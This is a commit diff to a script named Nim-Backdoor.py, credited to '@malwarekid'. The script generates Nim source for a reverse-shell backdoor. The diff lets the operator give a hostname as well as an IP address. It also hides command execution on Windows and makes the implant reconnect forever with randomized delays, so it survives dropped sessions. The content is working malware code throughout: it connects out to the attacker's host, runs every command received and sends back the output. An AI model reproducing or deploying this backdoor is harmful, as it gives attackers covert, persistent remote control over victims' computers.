Hostname option added, and Persistance is upgraded

Nim-Backdoor.py

@@ -3,12 +3,16 @@
 import ipaddress
 import re
 
-def validate_ip(ip):
+def validate_host(host):
     try:
-        ipaddress.ip_address(ip)
+        ipaddress.ip_address(host)
         return True
     except ValueError:
-        return False
+        hostname_regex = re.compile(
+            r'^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*'
+            r'([A-Za-z0-9]|[A-Za-z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])$'
+        )
+        return bool(hostname_regex.match(host))
 
 def validate_port(port):
     return port.isdigit() and 1 <= int(port) <= 65535
@@ -33,9 +37,9 @@ def nim_compiler_exists():
                                                   By @malwarekid
 ''' + "\033[0m")
 
-ip = input("\033[32mEnter IP address:\033[0m ")
-if not validate_ip(ip):
-    print("\033[31mInvalid IP address.\033[0m")
+host = input("\033[32mEnter IP or Hostname:\033[0m ")
+if not validate_host(host):
+    print("\033[31mInvalid IP or Hostname.\033[0m")
     exit(1)
 
 port = input("\033[32mEnter your Port number:\033[0m ")
@@ -60,7 +64,7 @@ def nim_compiler_exists():
 if os_type.lower() == 'linux':
     exec_command = 'result = execProcess(c)'
 elif os_type.lower() == 'windows':
-    exec_command = 'result = execProcess("cmd /c " & c)'
+    exec_command = 'result = execProcess("cmd.exe /c " & c, options = {poUsePath, poDaemon, poStdErrToStdOut, poEvalCommand})'
 else:
     print(f"\033[31mUnsupported OS:\033[0m {os_type}")
     exit(1)
@@ -69,38 +73,49 @@ def nim_compiler_exists():
 import net, os, osproc, strutils, random
 
 proc exe(c: string): string =
-  {exec_command}
+  try:
+    {exec_command}
+  except:
+    result = "Error executing command"
 
-let address = "{ip}"
+let address = "{host}"
 let port = Port({port})
 
-let exitMsg = "\\nExiting Program..."
-
-var sock: Socket
-var userRequestedExit = false
+# Seed the random number generator for the retry delay
+randomize()
 
-while not userRequestedExit:
-  sock = newSocket()
+while true:
+  var sock = newSocket()
   try:
     sock.connect(address, port)
-
+
+    # Connection successful loop
     while true:
       sock.send(os.getCurrentDir() & "> ")
-      let cmd = sock.recvLine().strip()
-      if cmd == "exit":
-        sock.send(exitMsg & "\\n")
-        userRequestedExit = true
+      let cmd = sock.recvLine()
+
+      # If recvLine is empty, the server closed the connection
+      if cmd == "": 
         break
+
+      let strippedCmd = cmd.strip()
+
+      if strippedCmd == "exit":
+        sock.send("Exiting session...\\n")
+        break # Breaks inner loop to trigger a reconnect attempt later
       else:
-        let result = exe(cmd)
+        let result = exe(strippedCmd)
         sock.send(result & "\\n")
-
-  except OSError:
-    if not userRequestedExit:
-      let delay = rand(10000..60000)
-      sleep(delay)
+
+  except:
+    # If connection fails or is lost, do nothing and proceed to sleep/retry
+    discard
   finally:
     sock.close()
+
+  # Wait before trying to reconnect to avoid spamming the network
+  let delay = rand(5000..15000) # 5 to 15 seconds
+  sleep(delay)
 '''
 
 try: